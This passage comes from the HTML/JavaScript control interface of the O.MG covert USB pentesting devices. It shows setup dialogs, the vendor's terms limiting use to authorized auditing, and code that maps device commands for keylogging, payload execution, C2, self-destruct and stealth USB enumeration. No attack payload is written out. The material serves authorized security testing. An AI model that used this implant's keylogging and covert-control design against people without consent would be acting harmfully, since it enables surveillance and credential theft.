style=\"transform: scale(2) translate(-135px, -100px);\">\n\t\t\t\t\t\t<path d=\"M200.57,191.24c16.59,0,59.14-24,59.14,0h0c0,27.74-39.83,0-59.14,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M190.57,180.74v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<path class=\"blockerIcon\" d=\"M70.5,70.5v40h-19s-1,1-1,1v5s1,1,1,1h19v35h-19s-1,1-1,1v4s1,1,1,1h19v12c0,4,3,7,7,7h74c4,0,7-3,7-7v-70c0-4-3-7-7-7h-74c-4,0-7,3-7,7Z\" fill=\"black\"/>\n\t\t\t\t\t<path class=\"cableIcon\" d=\"M70.5,70.5v40h-19s-1,1-1,1v5s1,1,1,1h19v35h-19s-1,1-1,1v4s1,1,1,1h19v12c0,4,3,7,7,7h74c4,0,7-3,7-7v-70c0-4-3-7-7-7h-74c-4,0-7,3-7,7Z\" fill=\"black\"/>\n\t\t\t\t\t<polygon class=\"plugIcon\" points=\"139.8 39.43 66.49 130.92 86.74 132.27 58.78 203.57 160.57 93.25 121.97 93.25 139.8 39.43\" fill=\"black\"/>\n\t\t\t\t\t<path d=\"M275 62 L65 273\" fill=\"none\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t</svg>\n\t\t\t\t<br>\n\t\t\t\t<span>Do not expose to &gt;5V.</span>\n\t\t\t</div>\n\t\t\t<div>\n\t\t\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 338 338\">\n\t\t\t\t\t<path d=\"M169 319a150 150 0 1 1 0-300 150 150 0 1 1 0 300\" fill=\"white\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t<path d=\"M0 1h338v338H0V1Z\" fill=\"none\"/>\n\t\t\t\t\t<g fill=\"none\" stroke-miterlimit=\"10\">\n\t\t\t\t\t\t<path d=\"M292 139v52c0 44-44 80-99 80h-43c-58 0-105-36-105-80v-51c0-39 45-71 102-71h45c55 0 99 32 99 71\" stroke=\"black\" stroke-width=\"10\"/>\n\t\t\t\t\t\t<path d=\"M267 90c0 14-12 25-28 25H97c-14 0-26-10-26-23m219 115c0-16-27-29-59-29s-62 25-62 55\" stroke=\"black\" stroke-width=\"10\"/>\n\t\t\t\t\t\t<path d=\"M267 90c0 14-12 25-28 25H97c-14 0-26-10-26-23\" stroke=\"black\" stroke-width=\"10\"/>\n\t\t\t\t\t\t<path d=\"M80 250c0-40 26-72 59-72s49 7 49 16\" stroke=\"black\" stroke-width=\"10\"/>\n\t\t\t\t\t\t<path d=\"M167 114V84 M222 112V83 M113 112V83\" stroke=\"black\" stroke-width=\"5\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"blockerIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"cableIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"plugIcon\" style=\"transform: scale(2) translate(-135px, -115px);\">\n\t\t\t\t\t\t<path d=\"M200.57,191.24c16.59,0,59.14-24,59.14,0h0c0,27.74-39.83,0-59.14,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M190.57,180.74v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<path d=\"M275 62 L65 273\" fill=\"none\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t</svg>\n\t\t\t\t<br>\n\t\t\t\t<span>Do not eat.</span>\n\t\t\t</div>\n\t\t\t<div>\n\t\t\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 338 338\">\n\t\t\t\t\t<path d=\"M169 319a150 150 0 1 1 0-300 150 150 0 1 1 0 300\" fill=\"white\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t<path d=\"M67.5,81.5v167M272.5,81.5v167M62.5,243.5h214\" fill=\"none\" stroke-miterlimit=\"10\" stroke=\"black\" stroke-width=\"10\"/>\n\t\t\t\t\t<path d=\"M66.5,131.5c18,0,22-24,39-26s19,20,38,22c20,1,23-20,43-20,21,0,23,22,43,22,21-1,23-25,42-23\" fill=\"none\" stroke-miterlimit=\"10\" stroke=\"black\" stroke-width=\"10\"/>\n\t\t\t\t\t<g class=\"blockerIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"cableIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"plugIcon\" style=\"transform: scale(2) translate(-135px, -100px);\">\n\t\t\t\t\t\t<path d=\"M200.57,191.24c16.59,0,59.14-24,59.14,0h0c0,27.74-39.83,0-59.14,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M190.57,180.74v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<path d=\"M275 62 L65 273\" fill=\"none\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t</svg>\n\t\t\t\t<br>\n\t\t\t\t<span>Do not submerge in water.</span>\n\t\t\t</div>\n\t\t</div>\n\t\t<br>\n\t\t<br>\n\t\t<br>\n\t\t<button id=\"firstTimeSetupAgree\" class=\"submitButton buttonActivationDelay\" onclick=\"applyEffect(this); viewDialog('firstTimeSetup', 'close'); if(frontendType == 'factory') { viewDialog('firstTimeSetupPage2', 'open'); } else { sendMessage(`FSSet\\t1`); sendMessage(`CU0`); };\">Agree and Activate</button>\n\t</dialog>\n\t<dialog id=\"firstTimeSetupPage2\">\n\t\t<h2>O.MG Initial Device Setup</h2>\n\t\t<p>\n\t\t\tThis device is currently running factory-loaded firmware.\n\t\t\t<br>\n\t\t\tFirmware build date: \n\t\t\t<span id=\"firmwareVersionNumberHumanReadableString\"></span>\n\t\t</p>\n\t\t<p>\n\t\t\tAn O.MG Programmer is required for both device recovery and firmware updates. Before using the device, we strongly recommend updating the firmware to ensure you have the latest features, improvements, and bug fixes. (\n\t\t\t<a href=\"https://o.mg.lol/setup\">https://o.mg.lol/setup</a>\n\t\t\t)\n\t\t</p>\n\t\t<p>If the device becomes inaccessible — for example, due to Self-Destruct activation or accidental Wi-Fi or boot payload configurations — an O.MG Programmer will be required to recover it.</p>\n\t\t<br>\n\t\t<br>\n\t\t<br>\n\t\t<button id=\"firstTimeSetupAgreePage2\" class=\"submitButton buttonActivationDelay\" onclick=\"applyEffect(this); viewDialog('firstTimeSetupPage2', 'close'); viewDialog('firstTimeSetupPage3', 'open');\">Agree and Activate</button>\n\t</dialog>\n\t<dialog id=\"firstTimeSetupPage3\">\n\t\t<h2>O.MG Initial Device Setup</h2>\n\t\t<h2>Agreement</h2>\n\t\t<p>O.MG Cable, O.MG Adapter, O.MG Plug, and O.MG UnBlocker are trademarks of Mischief Gadgets, LLC. Mischief Gadgets, LLC requires that all users read and accept the provisions of the Terms of Use Policy and the Privacy Policy prior to granting users any authorization to use pentesting hardware created by Mischief Gadgets, LLC and/or its affiliates. The Terms of Use Policy and the Privacy Policy can be found at https://o.mg.lol, and must be affirmatively consented to by users prior to using any pentesting hardware created by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred to as “O.MG Devices”). Reading and Accepting the Terms of Use and the Privacy Policy are REQUIRED CONSIDERATIONS for Mischief Gadgets, LLC and/or its affiliates granting users the right to use any O.MG Device. All persons are DENIED permission to use any O.MG Device, unless they read and affirmatively accept the Terms of Use Policy and the Privacy Policy located at https://o.mg.lol.</p>\n\t\t<h2>Privacy Policy</h2>\n\t\t<p>All persons under the age of 18 are denied access to the website located at https://o.mg.lol, as well as denied authorization to use any O.MG Device. If you are under the age of 18, it is unlawful for you to visit, communicate, or interact with Mischief Gadgets, LLC and/or its affiliates in any manner. Mischief Gadgets, LLC and/or its affiliates specifically denies access to any individual that is covered by the Child Online Privacy Act (COPA) of 1998.</p>\n\t\t<p>Mischief Gadgets, LLC and/or its affiliates reserve the right to deny access to any person or viewer for any reason. Under the provisions of this Privacy Policy, Mischief Gadgets, LLC and/or its affiliates are allowed to collect and store data and information for the purpose of exclusion, and for any other uses seen fit.</p>\n\t\t<p>Mischief Gadgets, LLC and/or its affiliates have established safeguards to help prevent unauthorized access to or misuse of your information but cannot guarantee that your information will never be disclosed in a manner inconsistent with this Privacy Policy (for example, as a result of any unauthorized act by third parties that violate applicable law or our affiliates’ policies). To protect your privacy and security, we may use passwords or other technologies to register or authenticate you and enable you to take advantage of our services, and before granting access or making corrections to your information.</p>\n\t\t<p>Mischief Gadgets, LLC and/or its affiliates do not rent or sell your personally identifiable information (such as name, address, telephone number, and credit card information) to third parties for their marketing purposes.</p>\n\t\t<p>This Privacy Policy may change from time to time. Users have an affirmative duty, as part of the consideration for permission to use O.MG Devices, to keep themselves informed of changes to this Privacy Policy. All changes to this Privacy Policy will be posted at https://o.mg.lol.</p>\n\t\t<h2>Terms of Use</h2>\n\t\t<p>Pentesting hardware designed by Mischief Gadgets, LLC and/or its affiliates (hereinafter referred to as “O.MG Devices”) are network administration and pentesting tools used for authorized auditing and security analysis purposes only where permitted, subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Mischief Gadgets, LLC and/or its affiliates claim no responsibility for unauthorized or unlawful use.</p>\n\t\t<p>O.MG Devices are packaged with a limited warranty, the acceptance of which is a condition of sale. See https://o.mg.lol for additional warranty details and limitations. Availability and performance of certain features, services, and applications are device and network dependent and may not be available in all areas; additional terms, conditions and/or charges may apply.</p>\n\t\t<p>You agree not to access or use any O.MG Device or the website located at https://o.mg.lol in any unlawful way or for any unlawful or illegitimate purpose or in any manner that contravenes this Agreement. You shall not use any O.MG Device to post, use, store, or transmit any information that is unlawful, libelous, defamatory, obscene, fraudulent, predatory of minors, harassing, threatening or hateful towards any individual, this includes any information that infringes or violates any of the intellectual property rights of others or the privacy rights of others. You shall not use any O.MG Device to attempt to disturb the peace by any method, including through use of viruses, Trojan horses, worms, time bombs, denial of service attacks, flooding or spamming. You shall not use any O.MG Device in any manner that could damage, disable or impair Mischief Gadgets, LLC and/or its affiliates, or any third-party. You shall not use any O.MG Device to attempt to gain unauthorized access to any user account, computer systems, or networks through hacking, password mining or any other means. You shall not use any O.MG Device alongside any robot, data scraper, miner or virtual computer to gain unlawful access to protected computer systems.</p>\n\t\t<p>All features, functionality and other product specifications are subject to change without notice or obligation. Mischief Gadgets, LLC and/or its affiliates reserve the right to make changes to the product description in this document without notice. Mischief Gadgets, LLC and/or its affiliates do not assume any liability that may occur due to the use or application of the product(s) described herein.</p>\n\t\t<p>These terms and conditions shall be governed by and construed in accordance with the laws of the state of New York, United States of America, and you agree to submit to the personal jurisdiction of the courts of the state of New York. In the event that any portion of these terms and conditions is deemed by a court to be invalid, the remaining provisions shall remain in full force and effect. You agree that regardless of any statute or law to the contrary, any claim or cause of action arising out of or related to this Web site, or the use of this Website, must be filed within one year after such claim or cause of action arose and must be filed in a court in New York, New York, U.S.A.</p>\n\t\t<p>\n\t\t\tAs required by Section 512(c)(2) of Title 17 of the United States Code, if you believe that any material on the website located at https://o.mg.lol infringes your copyright, you must send a notice of claimed infringement to Mischief Gadget, LLC’s General Counsel at the following address: c/o Mischief Gadgets, LLC - General Counsel\n\t\t\t<br>\n\t\t\tTor Ekeland Law, PLLC\n\t\t\t<br>\n\t\t\t30 Wall St., 8th Floor\n\t\t\t<br>\n\t\t\tNew York, NY 10005\n\t\t\t<br>\n\t\t\tinfo@torekeland.com\n\t\t</p>\n\t\t<p>If you do not agree to be bound by this Agreement, do not access or use any O.MG Device, or the website located at https://o.mg.lol. We reserve the right, with or without notice, to make changes to this Agreement at our discretion. Continued use of any O.MG Device or the website located at https://o.mg.lol constitutes your acceptance of these Terms, as they may appear at the time of your access.</p>\n\t\t<p>By clicking the “I Agree” button, by availing yourself of any O.MG Device or the website located at https://o.mg.lol, or by accessing, visiting, browsing, using or attempting to interact with or use any O.MG Device or the website located at https://o.mg.lol, you agree that you have read, understand, and agree to be bound by this Agreement as well as our Privacy Policy, which is a part of this Agreement and which can be viewed here: https://o.mg.lol.</p>\n\t\t<br>\n\t\t<br>\n\t\t<br>\n\t\t<button id=\"firstTimeSetupAgreePage3\" class=\"submitButton buttonActivationDelay\" onclick=\"applyEffect(this); sendMessage(`FSSet\\t1`); sendMessage(`CU0`); viewDialog('firstTimeSetupPage3', 'close');\">Agree and Activate</button>\n\t</dialog>\n\t<script>\n\t\t// Global Variables\n\t\tfrontendType = \"release\"; // Options: release, factory\n\t\tfrontendMajorVersion = \"3.0\";\n\t\tfrontendMinorVersion = \"250514\";\n\t\tif (frontendType == \"factory\") {\n\t\t\tfrontendVersionNumber = `${frontendMajorVersion}-${frontendMinorVersion}-${frontendType}`;\n\t\t} else {\n\t\t\tfrontendVersionNumber = `${frontendMajorVersion}-${frontendMinorVersion}`;\n\t\t}\n\t\tlet debugLevel = \"INFO\";\n\t\tlet liveLogStatus = \"off\";\n\t\tlet keylogStatus = \"0\";\n\t\tlet slotmode = \"1\";\n\t\t// Global Variables - Connection Info\n\t\tvar enabledFeatures = [];\n\t\tconst defaultFeatures = ['global', 'syslog', 'debug'];\n\t\tlet featureFlags = [];\n\t\tlet lastMessage = 0;\n\t\tvar connectionAttempts = 0;\n\t\tlet webSocketErrorCount = 0;\n\t\tlet previousUptime = Infinity;\n\t\tlet previousMAC = null;\n\t\tlet uicolor;\n\t\tlet zIndexCounter = 1;\n\t\t\n\t\tfunction getAddressParameter() {\n\t\t\tconst queryString = window.location.search;\n\t\t\tconst urlParams = new URLSearchParams(queryString);\n\t\t\treturn urlParams.has('backend') ? urlParams.get('backend') : null;\n\t\t}\n\t\t\n\t\tconst backendParam = getAddressParameter();\n\t\tconst hostnameMap = {\n\t\t//  \"localhost\": connectCustomBackend(),\n\t\t};\n\t\tlet hostname = backendParam || hostnameMap[window.location.hostname] || window.location.hostname;\n\t\tif(hostname == \"localhost\"){\n\t\t\thostname = \"192.168.5.140\";\n\t\t}\n\t\t\n\t\tfunction connectCustomBackend() {\n\t\t\tcreateDialog({\n\t\t\t\tid: 'ipAddress',\n\t\t\t\ttitle: 'O.MG Backend IP Address',\n\t\t\t\tdescription: `Please enter the IP Address of your O.MG Backend Device. <br \\><br \\><input id=\"labipaddress\"></input><button id=\"applylabipaddress\" onClick=\"hostname = document.getElementById('labipaddress').value; console.log(hostname);\">Connect</button>`,\n\t\t\t\tcloseEnabled: false,\n\t\t\t});\n\t\t}\n\t\t\n\t\t// Global Variables - Defaults\n\t\tconst readSize = 1024;\n\t\tconst blockSize = 4096;\n\t\tlet splitPayload = [];\n\t\tlet splitPayloadCounter = 0;\n\t\tlet keymapList = [];\n\t\tlet keymapListPretty = \"\";\n\t\tkeymapViewerKeys = [];\n\t\tvar keymapinverted = \"\";\n\t\tvar bootpair;\n\t\tvar refreshRate = 1;\n\t\tvar logsIntervalId;\n\t\tvar adminIntervalId;\n\t\tvar adminData;\n\t\tvar c2logAbridge = 0;\n\t\tvar alwaysDisplayLastPoll = 0;\n\t\tvar lastDateTime;\n\t\tvar fccID = \"Unknown\";\n\t\tvar crc16 = \"\";\n\t\tvar previousLocale = \"\";\n\t\tvar activeEndLabel = \"O.MG Device\";\n\t\t\n\t\t// Feature Flags\n\t\tconst features = {\n\t\t\t'global': {\n\t\t\t\t'CFError': 'Filesystem Error',\n\t\t\t\t'CFGet': 'Filesystem Get',\n\t\t\t\t'CFList': 'Filesystem List',\n\t\t\t\t'CI': 'Firmware Version',\n\t\t\t\t'CNGet': 'USB Descriptors Get',\n\t\t\t\t'CNSet': 'USB Descriptors Set',\n\t\t\t\t'CR': 'Reboot',\n\t\t\t\t'CS': 'WiFi Scan',\n\t\t\t\t'CTErase': 'Setting Erase',\n\t\t\t\t'CTError': 'Setting Error',\n\t\t\t\t'CTGet': 'Setting Get',\n\t\t\t\t'CTList': 'Setting List',\n\t\t\t\t'CTSet': 'Setting Set',\n\t\t\t\t'CV': 'System Version',\n\t\t\t\t'CW': 'WiFi Configure',\n\t\t\t\t'CWInfo': 'WiFi Show Config',\n\t\t\t\t'CWStatus': 'WiFi Show Status',\n\t\t\t\t'FE': 'Flash Erase',\n\t\t\t\t'FR': 'Flash Read',\n\t\t\t\t'FW': 'Flash Write',\n\t\t\t\t'FX': 'Flash Write as Hex',\n\t\t\t\t'FSGet': 'First Time Setup Wizard',\n\t\t\t\t'FSSet': 'First Time Setup Wizard',\n\t\t\t},\n\t\t\t'syslog': {},\n\t\t\t'payload': {\n\t\t\t\t'CE': 'Payload Execute',\n\t\t\t\t'CEError': 'Payload Error',\n\t\t\t\t'CEStatus': 'Payload Status',\n\t\t\t\t'CJ': 'Mouse Jiggler Enable/Disable'\n\t\t\t},\n\t\t\t'debug': {\n\t\t\t\t'CO': 'Calibration Apply',\n\t\t\t\t'CPGet': 'Calibration Get Request',\n\t\t\t\t'CPStart': 'Calibration Generate Request',\n\t\t\t\t'CZ': 'USB Diagnostic Log',\n\t\t\t\t'E': 'Echo',\n\t\t\t},\n\t\t\t'keylog': {\n\t\t\t\t'CLDelete': 'Keylog Delete',\n\t\t\t\t'CLRead': 'Keylog Read',\n\t\t\t\t'CLSetCursor': 'Keylog Set Cursor',\n\t\t\t\t'CLStart': 'Keylog Start',\n\t\t\t\t'CLStatus': 'Keylog Status',\n\t\t\t\t'CLStop': 'Keylog Stop',\n\t\t\t},\n\t\t\t'hidx': {\n\t\t\t\t'CHStart': 'HIDX Start',\n\t\t\t\t'CHStop': 'HIDX Stop',\n\t\t\t\t'CHStatus': 'HIDX Status',\n\t\t\t\t'SFErase': 'Sequential File Erase',\n\t\t\t\t'SFInfo': 'Sequential File Info',\n\t\t\t\t'SFRead': 'Sequential File Read',\n\t\t\t},\n\t\t\t'c2': {\n\t\t\t\t'C2Config': 'C2 Config',\n\t\t\t\t'C2Status': 'C2 Status',\n\t\t\t},\n\t\t\t'standalone': {},\n\t\t\t'stealth': {\n\t\t\t\t'CD': 'Self Destruct',\n\t\t\t\t'CU': 'USB Enumeration Enable/Disable',\n\t\t\t}\n\t\t};\n\t\t\n\t\tconst typeMap = {\n\t\t\t'a': ['* to USB-A Cable', 'red'],\n\t\t\t'b': ['Unblocker', 'red'],\n\t\t\t'c': ['* to USB-C Cable', 'red'],\n\t\t\t'd': ['USB-C Directional Cable', 'red'],\n\t\t\t'p': ['Plug', 'blue'],\n\t\t\t't': ['A to C Adapter', 'red'],\n\t\t\t'default': ['O.MG Device', 'grey'],\n\t\t};\n\t\t\n\t\tconst modelMap = {\n\t\t\t'c': ['Basic', 'BASIC'],\n\t\t\t'k': ['Plus', 'PLUS'],\n\t\t\t'd': ['Elite', 'ELITE'],\n\t\t\t'e': ['Elite', 'ELITE'],\n\t\t\t'default': ['O.MG Device', 'ERROR'],\n\t\t};\n\t\t\n\t\tconst featureFlagMap = {\n\t\t\t'pc': ['global', 'syslog', 'debug', 'payload'],\n\t\t\t'bd': ['global', 'syslog', 'debug', 'payload', 'c2', 'hidx', 'stealth'],\n\t\t\t'pd': ['global', 'syslog', 'debug', 'payload', 'c2', 'hidx', 'stealth'],\n\t\t\t'xc': ['global', 'syslog', 'debug', 'payload', 'c2', 'hidx', 'stealth'],\n\t\t\t'c': ['global', 'syslog', 'debug', 'payload', 'stealth'],\n\t\t\t'k': ['global', 'syslog', 'debug', 'payload', 'keylog', 'stealth'],\n\t\t\t'e': ['global', 'syslog', 'debug', 'payload', 'keylog', 'c2', 'hidx', 'stealth'],\n\t\t};\n\t\t\n\t\tfunction convertVersionToDate(versionString) {\n\t\t\tconst year = \"20\" + versionString.substring(0, 2);\n\t\t\tconst month = parseInt(versionString.substring(2, 4)) - 1;\n\t\t\tconst day = parseInt(versionString.substring(4, 6));\n\t\t\tconst date = new Date(year, month, day);\n\t\t\treturn date.toLocaleDateString('en-US', {\n\t\t\t\tyear: 'numeric',\n\t\t\t\tmonth: 'long',\n\t\t\t\tday: 'numeric'\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction generateModifiers() {\n\t\t\tconst groups = {\n\t\t\t\t0x01: ['CONTROL', 'CTRL'],\n\t\t\t\t0x02: ['SHIFT'],\n\t\t\t\t0x04: ['ALT', 'OPT', 'OPTION'],\n\t\t\t\t0x08: ['CMD', 'COMMAND', 'GUI', 'META', 'SUPER', 'WIN', 'WINDOWS']\n\t\t\t};\n\t\t\tconst leftPrefixes = ['', 'L', 'LEFT', 'LEFT-'];\n\t\t\tconst rightPrefixes = ['', 'R', 'RIGHT', 'RIGHT-'];\n\t\t\tconst modifiers = {};\n\t\t\n\t\t\tObject.entries(groups).forEach(([value, names]) => {\n\t\t\t\tconst leftValue = '0x0' + parseInt(value, 16).toString(16).toUpperCase();\n\t\t\t\tconst rightValue = '0x' + (parseInt(value, 16) << 4).toString(16).toUpperCase();\n\t\t\n\t\t\t\tnames.forEach(name => {\n\t\t\t\t\tleftPrefixes.forEach(prefix => {\n\t\t\t\t\t\tmodifiers[prefix + name] = leftValue;\n\t\t\t\t\t});\n\t\t\n\t\t\t\t\trightPrefixes.forEach(prefix => {\n\t\t\t\t\t\tmodifiers[prefix + name] = rightValue;\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t});\n\t\t\n\t\t\treturn modifiers;\n\t\t}\n\t\tconst modifiers = generateModifiers();\n\t\t\n\t\tvar modifiersInverted = {\n\t\t\t0x01: 'LEFT-CTRL',\n\t\t\t0x02: 'LEFT-SHIFT',\n\t\t\t0x04: 'LEFT-ALT',\n\t\t\t0x08: 'LEFT-GUI',\n\t\t\t0x10: 'RIGHT-CTRL',\n\t\t\t0x20: 'RIGHT-SHIFT',\n\t\t\t0x40: 'RIGHT-ALT',\n\t\t\t0x80: 'RIGHT-GUI',\n\t\t};\n\t\t\n\t\t// On-Load Config\n\t\tdocument.addEventListener(\"DOMContentLoaded\", async function(event) {\n\t\t\tdocument.getElementById('debugLevel').value = debugLevel;\n\t\t\tlogMessage(`CRIT`, `Frontend Version: ${frontendVersionNumber}`);\n\t\t\tgenerateKeymapList();\n\t\t\tawait toggleFeatureFlags();\n\t\t\tawait generateDebugMenu();\n\t\t\tgenerateHelpMenu();\n\t\t\tgenerateReleaseTeam();\n\t\t\tgenerateKeymapViewerMenu();\n\t\t\tgenerateKeymap('US');\n\t\t\tdocument.querySelectorAll('code').forEach(element => {\n\t\t\t\telement.addEventListener('click', handleHelpToPayload);\n\t\t\t});\n\t\t\twindow.scrollTo(0, 1);\n\t\t\tconst appHeight = () => {\n\t\t\t\tconst doc = document.documentElement\n\t\t\t\tif (window.visualViewport.height != undefined) {\n\t\t\t\t\tdoc.style.setProperty('--app-height', `${window.visualViewport.height}px`);\n\t\t\t\t} else if (window.innerHeight != undefined) {\n\t\t\t\t\tdoc.style.setProperty('--app-height', `${window.innerHeight}px`);\n\t\t\t\t} else {\n\t\t\t\t\tdoc.style.setProperty('--app-height', `100dvh`);\n\t\t\t\t}\n\t\t\t}\n\t\t\twindow.addEventListener('resize', appHeight);\n\t\t\tappHeight();\n\t\t\n\t\t\tconst payloadSelect = document.getElementById('payloadSelect');\n\t\t\tconst saveBootableButton = document.getElementById('payload-bootableToggle');\n\t\t\tdocument.getElementById('searchGithubPayloads').addEventListener('keydown', searchGithubPayloads);\n\t\t\n\t\t\tpayloadSelect.addEventListener('input', function() {\n\t\t\t\tif (payloadSelect.value === bootpair) {\n\t\t\t\t\tsaveBootableButton.classList.add('active');\n\t\t\t\t} else {\n\t\t\t\t\tsaveBootableButton.classList.remove('active');\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tvar payloadEditor = document.getElementById('payload');\n\t\t\tvar payloadEditorChangeTimeout = null;\n\t\t\tpayloadEditor.addEventListener('input', function() {\n\t\t\t\tif (payloadEditorChangeTimeout) {\n\t\t\t\t\tclearTimeout(payloadEditorChangeTimeout);\n\t\t\t\t}\n\t\t\n\t\t\t\tpayloadEditorChangeTimeout = setTimeout(function() {\n\t\t\t\t\tpayloadEditorSavedElement = document.getElementById('payloadEditorSaved');\n\t\t\t\t\tpayloadEditorSavedElement.innerHTML = \"Edited\";\n\t\t\t\t\tcompileDuckyScript();\n\t\t\t\t}, 2000);\n\t\t\t});\n\t\t\n\t\t\tconst colorSlider = document.querySelector(\"#color-slider\");\n\t\t\tconst colorBox = document.querySelector(\"#color-box\");\n\t\t\tconst applyButton = document.querySelector(\"#apply-color\");\n\t\t\n\t\t\tcolorSlider.addEventListener(\"input\", function() {\n\t\t\t\tconst hue = colorSlider.value;\n\t\t\t\tcolorBox.style.backgroundColor = `hsl(${hue}, 100%, 50%)`;\n\t\t\t\tsetAccentColors(hue);\n\t\t\t});\n\t\t\n\t\t\tapplyButton.addEventListener(\"click\", function() {\n\t\t\t\tsendMessage(`CTSet\\tuicolor\\t${colorSlider.value}`);\n\t\t\t});\n\t\t\n\t\t});\n\t\tdocument.onvisibilitychange = function() {\n\t\t\tlogMessage(`WARN`, `Browser Visibility Change Detected: [visibilityState]:[${document.visibilityState}]`);\n\t\t\tif (document.visibilityState === 'hidden') {\n\t\t\t\tlogMessage(`INFO`, `Browser Went to Sleep.`);\n\t\t\t} else if (document.visibilityState === 'visible') {\n\t\t\t\tlogMessage(`INFO`, `Browser Resumed from Sleep.`);\n\t\t\t\tcheckWebSocketStatus();\n\t\t\t}\n\t\t};\n\t\t\n\t\t// Data Transform\n\t\tconst toHex = (() => {\n\t\t\tlet cache = {};\n\t\t\n\t\t\tconst memoizedFunction = (number, size = 2) => 